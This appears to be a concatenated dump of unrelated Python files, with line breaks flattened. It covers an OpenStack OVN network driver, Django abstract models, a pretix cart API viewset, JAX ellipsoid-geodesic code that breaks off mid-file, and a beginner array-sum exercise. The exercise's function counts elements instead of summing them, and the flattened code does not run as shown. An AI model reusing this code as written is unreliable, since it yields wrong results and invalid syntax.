addresses=port_info.addresses, external_ids=external_ids, parent_name=port_info.parent_name, tag=port_info.tag, enabled=port.get('admin_state_up'), options=port_info.options, type=port_info.type, port_security=port_info.port_security, dhcpv4_options=dhcpv4_options, dhcpv6_options=dhcpv6_options)) acls_new = ovn_acl.add_acls(self._plugin, admin_context, port, sg_cache, subnet_cache) for acl in acls_new: txn.add(self._nb_idl.add_acl(**acl)) sg_ids = utils.get_lsp_security_groups(port) if port.get('fixed_ips') and sg_ids: addresses = ovn_acl.acl_port_ips(port) # NOTE(rtheis): Fail port creation if the address set doesn't # exist. This prevents ports from being created on any security # groups out-of-sync between neutron and OVN. for sg_id in sg_ids: for ip_version in addresses: if addresses[ip_version]: txn.add(self._nb_idl.update_address_set( name=utils.ovn_addrset_name(sg_id, ip_version), addrs_add=addresses[ip_version], addrs_remove=None, if_exists=False)) def update_port(self, port, original_port, qos_options=None): port_info = self._get_port_options(port, qos_options) external_ids = { ovn_const.OVN_PORT_NAME_EXT_ID_KEY: port['name']} admin_context = n_context.get_admin_context() sg_cache = {} subnet_cache = {} with self._nb_idl.transaction(check_error=True) as txn: columns_dict = {} if port.get('device_owner') in [const.DEVICE_OWNER_ROUTER_INTF, const.DEVICE_OWNER_ROUTER_GW]: port_info.options.update( self._nb_idl.get_router_port_options(port['id'])) else: columns_dict['type'] = port_info.type columns_dict['addresses'] = port_info.addresses if not port_info.dhcpv4_options: dhcpv4_options = [] elif 'cmd' in port_info.dhcpv4_options: dhcpv4_options = txn.add(port_info.dhcpv4_options['cmd']) else: dhcpv4_options = [port_info.dhcpv4_options['uuid']] if not port_info.dhcpv6_options: dhcpv6_options = [] elif 'cmd' in port_info.dhcpv6_options: dhcpv6_options = txn.add(port_info.dhcpv6_options['cmd']) else: dhcpv6_options = [port_info.dhcpv6_options['uuid']] # NOTE(lizk): Fail port updating if port doesn't exist. This # prevents any new inserted resources to be orphan, such as port # dhcp options or ACL rules for port, e.g. a port was created # without extra dhcp options and security group, while updating # includes the new attributes setting to port. txn.add(self._nb_idl.set_lswitch_port( lport_name=port['id'], external_ids=external_ids, parent_name=port_info.parent_name, tag=port_info.tag, options=port_info.options, enabled=port['admin_state_up'], port_security=port_info.port_security, dhcpv4_options=dhcpv4_options, dhcpv6_options=dhcpv6_options, if_exists=False, **columns_dict)) # Determine if security groups or fixed IPs are updated. old_sg_ids = set(utils.get_lsp_security_groups(original_port)) new_sg_ids = set(utils.get_lsp_security_groups(port)) detached_sg_ids = old_sg_ids - new_sg_ids attached_sg_ids = new_sg_ids - old_sg_ids is_fixed_ips_updated = \ original_port.get('fixed_ips') != port.get('fixed_ips') # Refresh ACLs for changed security groups or fixed IPs. if detached_sg_ids or attached_sg_ids or is_fixed_ips_updated: # Note that update_acls will compare the port's ACLs to # ensure only the necessary ACLs are added and deleted # on the transaction. acls_new = ovn_acl.add_acls(self._plugin, admin_context, port, sg_cache, subnet_cache) txn.add(self._nb_idl.update_acls([port['network_id']], [port], {port['id']: acls_new}, need_compare=True)) # Refresh address sets for changed security groups or fixed IPs. if (len(port.get('fixed_ips')) != 0 or len(original_port.get('fixed_ips')) != 0): addresses = ovn_acl.acl_port_ips(port) addresses_old = ovn_acl.acl_port_ips(original_port) # Add current addresses to attached security groups. for sg_id in attached_sg_ids: for ip_version in addresses: if addresses[ip_version]: txn.add(self._nb_idl.update_address_set( name=utils.ovn_addrset_name(sg_id, ip_version), addrs_add=addresses[ip_version], addrs_remove=None)) # Remove old addresses from detached security groups. for sg_id in detached_sg_ids: for ip_version in addresses_old: if addresses_old[ip_version]: txn.add(self._nb_idl.update_address_set( name=utils.ovn_addrset_name(sg_id, ip_version), addrs_add=None, addrs_remove=addresses_old[ip_version])) if is_fixed_ips_updated: # We have refreshed address sets for attached and detached # security groups, so now we only need to take care of # unchanged security groups. unchanged_sg_ids = new_sg_ids & old_sg_ids for sg_id in unchanged_sg_ids: for ip_version in addresses: addr_add = (set(addresses[ip_version]) - set(addresses_old[ip_version])) or None addr_remove = (set(addresses_old[ip_version]) - set(addresses[ip_version])) or None if addr_add or addr_remove: txn.add(self._nb_idl.update_address_set( name=utils.ovn_addrset_name( sg_id, ip_version), addrs_add=addr_add, addrs_remove=addr_remove)) def delete_port(self, port): with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.delete_lswitch_port(port['id'], utils.ovn_name(port['network_id']))) txn.add(self._nb_idl.delete_acl( utils.ovn_name(port['network_id']), port['id'])) if port.get('fixed_ips'): addresses = ovn_acl.acl_port_ips(port) # Set skip_trusted_port False for deleting port for sg_id in utils.get_lsp_security_groups(port, False): for ip_version in addresses: if addresses[ip_version]: txn.add(self._nb_idl.update_address_set( name=utils.ovn_addrset_name(sg_id, ip_version), addrs_add=None, addrs_remove=addresses[ip_version])) def _update_floatingip(self, floatingip, router_id, associate=True): fip_apis = {} fip_apis['nat'] = self._nb_idl.add_nat_rule_in_lrouter if \ associate else self._nb_idl.delete_nat_rule_in_lrouter gw_lrouter_name = utils.ovn_name(router_id) try: with self._nb_idl.transaction(check_error=True) as txn: nat_rule_args = (gw_lrouter_name,) if associate: # TODO(chandrav): Since the floating ip port is not # bound to any chassis, packets destined to floating ip # will be dropped. To overcome this, delete the floating # ip port. Proper fix for this would be to redirect packets # destined to floating ip to the router port. This would # require changes in ovn-northd. txn.add(self._nb_idl.delete_lswitch_port( floatingip['fip_port_id'], utils.ovn_name(floatingip['fip_net_id']))) # Get the list of nat rules and check if the external_ip # with type 'dnat_and_snat' already exists or not. # If exists, set the new value. # This happens when the port associated to a floating ip # is deleted before the disassociation. lrouter_nat_rules = self._nb_idl.get_lrouter_nat_rules( gw_lrouter_name) for nat_rule in lrouter_nat_rules: if (nat_rule['external_ip'] == floatingip['external_ip'] and nat_rule['type'] == 'dnat_and_snat'): fip_apis['nat'] = ( self._nb_idl.set_nat_rule_in_lrouter) nat_rule_args = (gw_lrouter_name, nat_rule['uuid']) break txn.add(fip_apis['nat'](*nat_rule_args, type='dnat_and_snat', logical_ip=floatingip['logical_ip'], external_ip=floatingip['external_ip'])) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error('Unable to update NAT rule in gateway ' 'router. Error: %s', e) def create_floatingip(self, floatingip, router_id): try: self._update_floatingip(floatingip, router_id) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error('Unable to create floating ip in gateway ' 'router. Error: %s', e) def update_floatingip(self, floatingip, router_id, associate=True): try: self._update_floatingip(floatingip, router_id, associate=associate) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error('Unable to update floating ip in gateway ' 'router. Error: %s', e) def delete_floatingip(self, floatingip, router_id): try: self._update_floatingip(floatingip, router_id, associate=False) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error('Unable to delete floating ip in gateway ' 'router. Error: %s', e) def disassociate_floatingip(self, floatingip, router_id): try: self._update_floatingip(floatingip, router_id, associate=False) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error('Unable to disassociate floating ip in gateway ' 'router. Error: %s', e) def _get_external_router_and_gateway_ip(self, context, router): ext_gw_info = router.get(l3.EXTERNAL_GW_INFO, {}) ext_fixed_ips = ext_gw_info.get('external_fixed_ips', []) for ext_fixed_ip in ext_fixed_ips: subnet_id = ext_fixed_ip['subnet_id'] subnet = self._plugin.get_subnet(context, subnet_id) if subnet['ip_version'] == 4: return ext_fixed_ip['ip_address'], subnet.get('gateway_ip') return '', '' def _update_router_routes(self, context, router_id, add, remove): lrouter_name = utils.ovn_name(router_id) with self._nb_idl.transaction(check_error=True) as txn: for route in add: txn.add(self._nb_idl.add_static_route( lrouter_name, ip_prefix=route['destination'], nexthop=route['nexthop'])) for route in remove: txn.add(self._nb_idl.delete_static_route( lrouter_name, ip_prefix=route['destination'], nexthop=route['nexthop'])) def _delete_router_ext_gw(self, context, router, networks): if not networks: networks = [] router_id = router['id'] gw_port_id = router['gw_port_id'] gw_lrouter_name = utils.ovn_name(router_id) router_ip, ext_gw_ip = self._get_external_router_and_gateway_ip( context, router) with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.delete_static_route(gw_lrouter_name, ip_prefix='0.0.0.0/0', nexthop=ext_gw_ip)) txn.add(self._nb_idl.delete_lrouter_port( utils.ovn_lrouter_port_name(gw_port_id), gw_lrouter_name)) for network in networks: txn.add(self._nb_idl.delete_nat_rule_in_lrouter( gw_lrouter_name, type='snat', logical_ip=network, external_ip=router_ip)) def _get_networks_for_router_port(self, port_fixed_ips): context = n_context.get_admin_context() networks = set() for fixed_ip in port_fixed_ips: subnet_id = fixed_ip['subnet_id'] subnet = self._plugin.get_subnet(context, subnet_id) cidr = netaddr.IPNetwork(subnet['cidr']) networks.add("%s/%s" % (fixed_ip['ip_address'], str(cidr.prefixlen))) return list(networks) def _add_router_ext_gw(self, context, router, networks): router_id = router['id'] lrouter_name = utils.ovn_name(router['id']) # 1. Add the external gateway router port. _, ext_gw_ip = self._get_external_router_and_gateway_ip(context, router) gw_port_id = router['gw_port_id'] port = self._plugin.get_port(context, gw_port_id) try: self.create_router_port(router_id, port) except Exception: with excutils.save_and_reraise_exception(): self._delete_router_ext_gw(context, router, networks) LOG.error('Unable to add external router port %(id)s to ' 'lrouter %(name)s', {'id': port['id'], 'name': lrouter_name}) # 2. Add default route with nexthop as ext_gw_ip route = [{'destination': '0.0.0.0/0', 'nexthop': ext_gw_ip}] try: self._update_router_routes(context, router_id, route, []) except Exception: with excutils.save_and_reraise_exception(): self._delete_router_ext_gw(context, router, networks) LOG.error('Error updating routes %(route)s in lrouter ' '%(name)s', {'route': route, 'name': lrouter_name}) # 3. Add snat rules for tenant networks in lrouter if snat is enabled if utils.is_snat_enabled(router) and networks: try: self.update_nat_rules(router, networks, enable_snat=True) except Exception: with excutils.save_and_reraise_exception(): self._delete_router_ext_gw(context, router, networks) LOG.error('Error in updating SNAT for lrouter %s', lrouter_name) def _check_external_ips_changed(self, gateway_old, gateway_new): if gateway_old['network_id'] != gateway_new['network_id']: return True old_ext_ips = gateway_old.get('external_fixed_ips', []) new_ext_ips = gateway_new.get('external_fixed_ips', []) old_subnet_ids = set(f['subnet_id'] for f in old_ext_ips if f.get('subnet_id')) new_subnet_ids = set(f['subnet_id'] for f in new_ext_ips if f.get('subnet_id')) if old_subnet_ids != new_subnet_ids: return True old_ip_addresses = set(f['ip_address'] for f in old_ext_ips if f.get('ip_address')) new_ip_addresses = set(f['ip_address'] for f in new_ext_ips if f.get('ip_address')) if old_ip_addresses != new_ip_addresses: return True return False def _update_lrouter_routes(self, context, router_id, add, remove): if not any([add, remove]): return lrouter_name = utils.ovn_name(router_id) with self._nb_idl.transaction(check_error=True) as txn: for route in add: txn.add(self._nb_idl.add_static_route( lrouter_name, ip_prefix=route['destination'], nexthop=route['nexthop'])) for route in remove: txn.add(self._nb_idl.delete_static_route( lrouter_name, ip_prefix=route['destination'], nexthop=route['nexthop'])) def create_router(self, router, networks=None): """Create a logical router.""" context = n_context.get_admin_context() external_ids = {ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: router.get('name', 'no_router_name')} enabled = router.get('admin_state_up') lrouter_name = utils.ovn_name(router['id']) with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.create_lrouter(lrouter_name, external_ids=external_ids, enabled=enabled, options={})) if router.get(l3.EXTERNAL_GW_INFO) and networks is not None: self._add_router_ext_gw(context, router, networks) def update_router(self, new_router, original_router, delta, networks): """Update a logical router.""" context = n_context.get_admin_context() router_id = new_router['id'] gateway_new = new_router.get(l3.EXTERNAL_GW_INFO) gateway_old = original_router.get(l3.EXTERNAL_GW_INFO) try: if gateway_new and not gateway_old: # Route gateway is set self._add_router_ext_gw(context, new_router, networks) elif gateway_old and not gateway_new: # router gateway is removed self._delete_router_ext_gw(context, original_router, networks) elif gateway_new and gateway_old: # Check if external gateway has changed, if yes, delete # the old gateway and add the new gateway if self._check_external_ips_changed(gateway_old, gateway_new): self._delete_router_ext_gw( context, original_router, networks) self._add_router_ext_gw(context, new_router, networks) else: # Check if snat has been enabled/disabled and update old_snat_state = gateway_old.get('enable_snat', True) new_snat_state = gateway_new.get('enable_snat', True) if old_snat_state != new_snat_state: if utils.is_snat_enabled(new_router) and networks: self.update_nat_rules(new_router, networks, enable_snat=new_snat_state) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error('Unable to update router %(router)s. ' 'Error: %(error)s', {'router': router_id, 'error': e}) # Check for change in admin_state_up update = {} router_name = utils.ovn_name(router_id) enabled = delta['router'].get('admin_state_up') if enabled and enabled != original_router['admin_state_up']: update['enabled'] = enabled # Check for change in name name = delta['router'].get('name') if name and name != original_router['name']: external_ids = {ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: name} update['external_ids'] = external_ids if update: try: with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.update_lrouter(router_name, **update)) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error('Unable to update router %(router)s. ' 'Error: %(error)s', {'router': router_id, 'error': e}) # Check for route updates routes = delta['router'].get('routes') if routes: added, removed = helpers.diff_list_of_dict( original_router['routes'], routes) try: self._update_lrouter_routes(context, router_id, added, removed) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error('Unable to update static routes in router ' '%(router)s. Error: %(error)s', {'router': router_id, 'error': e}) def delete_router(self, router_id): """Delete a logical router.""" lrouter_name = utils.ovn_name(router_id) with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.delete_lrouter(lrouter_name)) def create_router_port(self, router_id, port): """Create a logical router port.""" lrouter = utils.ovn_name(router_id) networks = self._get_networks_for_router_port(port['fixed_ips']) lrouter_port_name = utils.ovn_lrouter_port_name(port['id']) is_gw_port = const.DEVICE_OWNER_ROUTER_GW == port.get( 'device_owner') columns = {} if is_gw_port: selected_chassis = self._ovn_scheduler.select( self._nb_idl, self._sb_idl, lrouter_port_name) columns['options'] = { ovn_const.OVN_GATEWAY_CHASSIS_KEY: selected_chassis} with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.add_lrouter_port(name=lrouter_port_name, lrouter=lrouter, mac=port['mac_address'], networks=networks, **columns)) txn.add(self._nb_idl.set_lrouter_port_in_lswitch_port( port['id'], lrouter_port_name)) def update_router_port(self, router_id, port, networks=None): """Update a logical router port.""" if networks is None: networks = self._get_networks_for_router_port(port['fixed_ips']) lrouter_port_name = utils.ovn_lrouter_port_name(port['id']) update = {'networks': networks} with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.update_lrouter_port(name=lrouter_port_name, if_exists=False, **update)) txn.add(self._nb_idl.set_lrouter_port_in_lswitch_port( port['id'], lrouter_port_name)) def delete_router_port(self, port_id, router_id): """Delete a logical router port.""" with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.delete_lrouter_port( utils.ovn_lrouter_port_name(port_id), utils.ovn_name(router_id), if_exists=True)) def update_nat_rules(self, router, networks, enable_snat): """Update the NAT rules in a logical router.""" context = n_context.get_admin_context() func = (self._nb_idl.add_nat_rule_in_lrouter if enable_snat else self._nb_idl.delete_nat_rule_in_lrouter) gw_lrouter_name = utils.ovn_name(router['id']) router_ip, _ = self._get_external_router_and_gateway_ip(context, router) with self._nb_idl.transaction(check_error=True) as txn: for network in networks: txn.add(func(gw_lrouter_name, type='snat', logical_ip=network, external_ip=router_ip)) def _create_provnet_port(self, txn, network, physnet, tag): txn.add(self._nb_idl.create_lswitch_port( lport_name=utils.ovn_provnet_port_name(network['id']), lswitch_name=utils.ovn_name(network['id']), addresses=['unknown'], external_ids={}, type='localnet', tag=tag if tag else [], options={'network_name': physnet})) def create_network(self, network, physnet=None, segid=None): # Create a logical switch with a name equal to the Neutron network # UUID. This provides an easy way to refer to the logical switch # without having to track what UUID OVN assigned to it. ext_ids = { ovn_const.OVN_NETWORK_NAME_EXT_ID_KEY: network['name'] } lswitch_name = utils.ovn_name(network['id']) with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.create_lswitch( lswitch_name=lswitch_name, external_ids=ext_ids)) if physnet is not None: tag = int(segid) if segid else None self._create_provnet_port(txn, network, physnet, tag) return network def delete_network(self, network_id): self._nb_idl.delete_lswitch( utils.ovn_name(network_id), if_exists=True).execute( check_error=True) def update_network(self, network, original_network): if network['name'] != original_network['name']: ext_id = [ovn_const.OVN_NETWORK_NAME_EXT_ID_KEY, network['name']] self._nb_idl.set_lswitch_ext_id( utils.ovn_name(network['id']), ext_id).execute( check_error=True) self._qos_driver.update_network(network, original_network) def _add_subnet_dhcp_options(self, subnet, network, ovn_dhcp_options=None): if utils.is_dhcp_options_ignored(subnet): return if not ovn_dhcp_options: ovn_dhcp_options = self._get_ovn_dhcp_options(subnet, network) with self._nb_idl.transaction(check_error=True) as txn: txn.add(self._nb_idl.add_dhcp_options( subnet['id'], **ovn_dhcp_options)) def _get_ovn_dhcp_options(self, subnet, network, server_mac=None): external_ids = {'subnet_id': subnet['id']} dhcp_options = {'cidr': subnet['cidr'], 'options': {}, 'external_ids': external_ids} if subnet['enable_dhcp']: if subnet['ip_version'] == const.IP_VERSION_4: dhcp_options['options'] = self._get_ovn_dhcpv4_opts( subnet, network, server_mac=server_mac) else: dhcp_options['options'] = self._get_ovn_dhcpv6_opts( subnet, server_id=server_mac) return dhcp_options def _get_ovn_dhcpv4_opts(self, subnet, network, server_mac=None): if not subnet['gateway_ip']: return {} default_lease_time = str(config.get_ovn_dhcp_default_lease_time()) mtu = network['mtu'] options = { 'server_id': subnet['gateway_ip'], 'lease_time': default_lease_time, 'mtu': str(mtu), 'router': subnet['gateway_ip'] } if server_mac: options['server_mac'] = server_mac else: options['server_mac'] = n_net.get_random_mac( cfg.CONF.base_mac.split(':')) if subnet['dns_nameservers']: dns_servers = '{%s}' % ', '.join(subnet['dns_nameservers']) options['dns_server'] = dns_servers # If subnet hostroutes are defined, add them in the # 'classless_static_route' dhcp option classless_static_routes = "{" for route in subnet['host_routes']: classless_static_routes += ("%s,%s, ") % ( route['destination'], route['nexthop']) if classless_static_routes != "{": # if there are static routes, then we need to add the # default route in this option. As per RFC 3442 dhcp clients # should ignore 'router' dhcp option (option 3) # if option 121 is present. classless_static_routes += "0.0.0.0/0,%s}" % (subnet['gateway_ip']) options['classless_static_route'] = classless_static_routes return options def _get_ovn_dhcpv6_opts(self, subnet, server_id=None): """Returns the DHCPv6 options""" dhcpv6_opts = { 'server_id': server_id or n_net.get_random_mac( cfg.CONF.base_mac.split(':')) } if subnet['dns_nameservers']: dns_servers = '{%s}' % ', '.join(subnet['dns_nameservers']) dhcpv6_opts['dns_server'] = dns_servers if subnet.get('ipv6_address_mode') == const.DHCPV6_STATELESS: dhcpv6_opts[ovn_const.DHCPV6_STATELESS_OPT] = 'true' return dhcpv6_opts def _remove_subnet_dhcp_options(self, subnet_id): with self._nb_idl.transaction(check_error=True) as txn: dhcp_options = self._nb_idl.get_subnet_and_ports_dhcp_options( subnet_id) # Remove subnet and port DHCP_Options rows, the DHCP options in # lsp rows will be removed by related UUID for dhcp_option in dhcp_options: txn.add(self._nb_idl.delete_dhcp_options(dhcp_option['uuid'])) def _enable_subnet_dhcp_options(self, subnet, network): if utils.is_dhcp_options_ignored(subnet): return filters = {'fixed_ips': {'subnet_id': [subnet['id']]}} all_ports = self._plugin.get_ports(n_context.get_admin_context(), filters=filters) ports = [p for p in all_ports if not p['device_owner'].startswith( const.DEVICE_OWNER_PREFIXES)] subnet_dhcp_options = self._get_ovn_dhcp_options(subnet, network) subnet_dhcp_cmd = self._nb_idl.add_dhcp_options(subnet['id'], **subnet_dhcp_options) with self._nb_idl.transaction(check_error=True) as txn: txn.add(subnet_dhcp_cmd) with self._nb_idl.transaction(check_error=True) as txn: # Traverse ports to add port DHCP_Options rows for port in ports: lsp_dhcp_disabled, lsp_dhcp_opts = utils.get_lsp_dhcp_opts( port, subnet['ip_version']) if lsp_dhcp_disabled: continue elif not lsp_dhcp_opts: lsp_dhcp_options = [subnet_dhcp_cmd.result] else: port_dhcp_options = copy.deepcopy(subnet_dhcp_options) port_dhcp_options['options'].update(lsp_dhcp_opts) port_dhcp_options['external_ids'].update( {'port_id': port['id']}) lsp_dhcp_options = txn.add(self._nb_idl.add_dhcp_options( subnet['id'], port_id=port['id'], **port_dhcp_options)) columns = {'dhcpv6_options': lsp_dhcp_options} if \ subnet['ip_version'] == const.IP_VERSION_6 else { 'dhcpv4_options': lsp_dhcp_options} # Set lsp DHCP options txn.add(self._nb_idl.set_lswitch_port( lport_name=port['id'], **columns)) def _update_subnet_dhcp_options(self, subnet, network): if utils.is_dhcp_options_ignored(subnet): return original_options = self._nb_idl.get_subnet_dhcp_options(subnet['id']) mac = None if original_options: if subnet['ip_version'] == const.IP_VERSION_6: mac = original_options['options'].get('server_id') else: mac = original_options['options'].get('server_mac') new_options = self._get_ovn_dhcp_options(subnet, network, mac) # Check whether DHCP changed if (original_options and original_options['cidr'] == new_options['cidr'] and original_options['options'] == new_options['options']): return txn_commands = self._nb_idl.compose_dhcp_options_commands( subnet['id'], **new_options) with self._nb_idl.transaction(check_error=True) as txn: for cmd in txn_commands: txn.add(cmd) def create_subnet(self, subnet, network): if subnet['enable_dhcp']: self._add_subnet_dhcp_options(subnet, network) def update_subnet(self, subnet, original_subnet, network): if not subnet['enable_dhcp'] and not original_subnet['enable_dhcp']: return if not original_subnet['enable_dhcp']: self._enable_subnet_dhcp_options(subnet, network) elif not subnet['enable_dhcp']: self._remove_subnet_dhcp_options(subnet['id']) else: self._update_subnet_dhcp_options(subnet, network) def delete_subnet(self, subnet_id): self._remove_subnet_dhcp_options(subnet_id)
python
from django.db import models from django.conf import settings class Timestampable(models.Model): created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) class Meta: abstract = True class Authorable(models.Model): author = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE) def is_owner(self, author): return self.author == author class Meta: abstract = True
python
import math import os import random import re import sys import pprint def simpleArraySum(ar): suma=0 for i in ar: suma +=1 print("suma = ", suma) return suma if __name__ == '__main__': fptr= open('T3-1.txt', 'w') ar_count = int(input().strip()) ar = list(map(int, input().rstrip().split())) print(ar) result = simpleArraySum(ar) fptr.write(str(result) + '\n') fptr.close()
python
# # This file is part of pretix (Community Edition). # # Copyright (C) 2014-2020 Raphael Michel and contributors # Copyright (C) 2020-2021 rami.io GmbH and contributors # # This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General # Public License as published by the Free Software Foundation in version 3 of the License. # # ADDITIONAL TERMS APPLY: Pursuant to Section 7 of the GNU Affero General Public License, additional terms are # applicable granting you additional permissions and placing additional restrictions on your usage of this software. # Please refer to the pretix LICENSE file to obtain the full terms applicable to this work. If you did not receive # this file, see <https://pretix.eu/about/en/license>. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more # details. # # You should have received a copy of the GNU Affero General Public License along with this program. If not, see # <https://www.gnu.org/licenses/>. # from django.db import transaction from rest_framework import status, viewsets from rest_framework.decorators import action from rest_framework.exceptions import ValidationError from rest_framework.filters import OrderingFilter from rest_framework.mixins import CreateModelMixin, DestroyModelMixin from rest_framework.response import Response from rest_framework.settings import api_settings from pretix.api.serializers.cart import ( CartPositionCreateSerializer, CartPositionSerializer, ) from pretix.base.models import CartPosition from pretix.base.services.locking import NoLockManager class CartPositionViewSet(CreateModelMixin, DestroyModelMixin, viewsets.ReadOnlyModelViewSet): serializer_class = CartPositionSerializer queryset = CartPosition.objects.none() filter_backends = (OrderingFilter,) ordering = ('datetime',) ordering_fields = ('datetime', 'cart_id') lookup_field = 'id' permission = 'can_view_orders' write_permission = 'can_change_orders' def get_queryset(self): return CartPosition.objects.filter( event=self.request.event, cart_id__endswith="@api" ).select_related('seat').prefetch_related('answers') def get_serializer_context(self): ctx = super().get_serializer_context() ctx['event'] = self.request.event ctx['quota_cache'] = {} return ctx def create(self, request, *args, **kwargs): serializer = CartPositionCreateSerializer(data=request.data, context=self.get_serializer_context()) serializer.is_valid(raise_exception=True) with transaction.atomic(), self.request.event.lock(): self.perform_create(serializer) cp = serializer.instance serializer = CartPositionSerializer(cp, context=serializer.context) headers = self.get_success_headers(serializer.data) return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers) @action(detail=False, methods=['POST']) def bulk_create(self, request, *args, **kwargs): if not isinstance(request.data, list): # noqa return Response({"error": "Please supply a list"}, status=status.HTTP_400_BAD_REQUEST) ctx = self.get_serializer_context() with transaction.atomic(): serializers = [ CartPositionCreateSerializer(data=d, context=ctx) for d in request.data ] lockfn = self.request.event.lock if not any(s.is_valid(raise_exception=False) for s in serializers): lockfn = NoLockManager results = [] with lockfn(): for s in serializers: if s.is_valid(raise_exception=False): try: cp = s.save() except ValidationError as e: results.append({ 'success': False, 'data': None, 'errors': {api_settings.NON_FIELD_ERRORS_KEY: e.detail}, }) else: results.append({ 'success': True, 'data': CartPositionSerializer(cp, context=ctx).data, 'errors': None, }) else: results.append({ 'success': False, 'data': None, 'errors': s.errors, }) return Response({'results': results}, status=status.HTTP_200_OK) def perform_create(self, serializer): serializer.save()
python
# Endpoint map geodesic on (n-1)-dimensional ellipsoid in Rn # With Jacobian from jax import ops, lax, jacfwd, jit, jvp import jax.numpy as jnp from scipy import linalg, optimize from functools import partial class Locus: def __init__(self, n,b,T,N,XStart): self.n = n # dimension of ambient space self.b = b # ellipsoid coefficients self.T = T # time self.N = N # steps self.dt = T/N # discretisation parameter self.XStart = XStart # start point of geodesic map # sample values for 2d ellipsoid in R3 #n = 3 #b = jnp.array([0.9,1.2,1.6]) # ellipsoid coefficients #T = 1 # time #N=10 # steps #dt=T/N # discretisation parameter #XStart = jnp.array([0.1,0.05]) # start point of geodesic map #level function def g(self,x): return sum(self.b*(x**2))-1 def dg(self,x): return 2*x*self.b # rhs of equation in 1st order formulation def F(self,z,lam): return jnp.block([z[self.n:],-1/2*self.dg(z[:self.n])*lam]) # 1 step with constrained RK2 def RK2Constr(self,z,lam): return z+self.dt*self.F(z+1/2*self.dt*self.F(z,lam),lam) # 1 step map def RK2(self,z): q = z[:self.n] p = z[self.n:] # compute Lagrange multipliers den = self.dt**2*jnp.dot(self.b**3,q**2) m1 = 2*jnp.dot(self.b**2*q,q+self.dt*p)/den m2 = 4*jnp.dot(self.b,p**2)/den lam = m1 - jnp.sqrt(m1**2-m2) return self.RK2Constr(z,lam) # Chart for ellipsoid - projection to tangent space of XStart and its antipodal def xC2(self,X): return (1-sum(self.b[:-1]*(X**2)))/self.b[-1] def chartS(self,X): return jnp.block([X,jnp.sqrt(self.xC2(X))]) def chartF(self,X): return jnp.block([X,-jnp.sqrt(self.xC2(X))]) def DchartS(self,X): return jnp.block([[jnp.identity(self.n-1)], [-self.b[:-1]*X/(self.b[-1]*jnp.sqrt(self.xC2(X)))]]) def DchartF(self,X): return jnp.block([[jnp.identity(self.n-1)], [self.b[:-1]*X/(self.b[-1]*jnp.sqrt(self.xC2(X)))]]) def chartSInv(self,X): return X[:-1] def chartFInv(self,X): return X[:-1] def DchartSInv(self,X): return jnp.identity(self.n+1)[:-1] def DchartFInv(self,X): return jnp.identity(self.n+1)[:-1] # Endpoint map def endpt(self,z): return lax.fori_loop(1,self.N,lambda k,x: self.RK2(x),z) # Endpoint map at chartS(XStart) maps tangent space to ellipsoid composed. Composed with chart @partial(jit, static_argnums=(0,)) def endptChart(self,p): return self.chartFInv(self.endpt(jnp.block([self.chartS(self.XStart),jnp.matmul(self.DchartS(self.XStart),p)]))[:self.n]) # for finding critical points of endpoint map @partial(jit, static_argnums=(0,)) def LocusChart(self,p): return jnp.linalg.det(jacfwd(self.endptChart)(p)) # Pseudo-arclength continuation of codim 1 valued map g def ContFun(xoldold,xold,g,ds): gold = g(xold) dg = jacfwd(g)(xold) n = xold.shape[0] if len(dg.shape)==1: dg=dg.reshape(1,n) v = jnp.transpose(linalg.null_space(dg)) v0=jnp.sign(jnp.dot(v,xold-xoldold))*v/jnp.linalg.norm(v) v0=v0.flatten() xpred = xold+ds*v0 def obj(y): return jnp.block([g(y),jnp.dot(y-xpred,v0)]) return optimize.fsolve(obj,xpred,xtol=1e-6) @partial(jit, static_argnums=(0,)) def cuspCond(f1,Xa,ds): # shorthands x = Xa[:3] a = Xa[3:] f2 = lambda x: jvp(f1,(x,),(a,))[1] # 1st derivative in direction a c1 = f2(x) c2 = (sum(a**2)-1)/ds f3 = lambda x: jvp(f2,(x,),(a,))[1] # 2nd derivative in direction a c3 = jnp.matmul(f3(x),a) return jnp.block([c1, c2, c3]) @partial(jit, static_argnums=(0,)) def SWCond(f1,Xa): # shorthands x = Xa[:3] a = Xa[3:] Jac = jacfwd(f1)(x) f2 = lambda x: jvp(f1,(x,),(a,))[1] # 1st derivative in direction a f3 = lambda x: jvp(f2,(x,),(a,))[1] # 2nd derivative in direction a f4 = lambda x: jvp(f3,(x,),(a,))[1] # 3rd derivative in direction a # consistent solution to v=jnp.linalg.solve(Jac,-f3(x)) b = -f3(x) vbar = jnp.linalg.solve(jnp.matmul(Jac,jnp.transpose(Jac))+jnp.matmul(a,jnp.transpose(a)),b) v = jnp.matmul(jnp.transpose(Jac),vbar) sw = jnp.matmul(f4(x),a) - 3*jnp.matmul(v,b) return sw @partial(jit, static_argnums=(0,)) def DCond(f1,p): #f1=self.endptChart Jac=jacfwd(f1)(p) return -Jac[0, 1]*Jac[1, 0]+Jac[0, 0]*Jac[1, 1]-Jac[0, 2]*Jac[2, 0]-Jac[1, 2]*Jac[2, 1]+Jac[0, 0]*Jac[2, 2]+Jac[1, 1]*Jac[2, 2] # trace of 2nd exterior power def 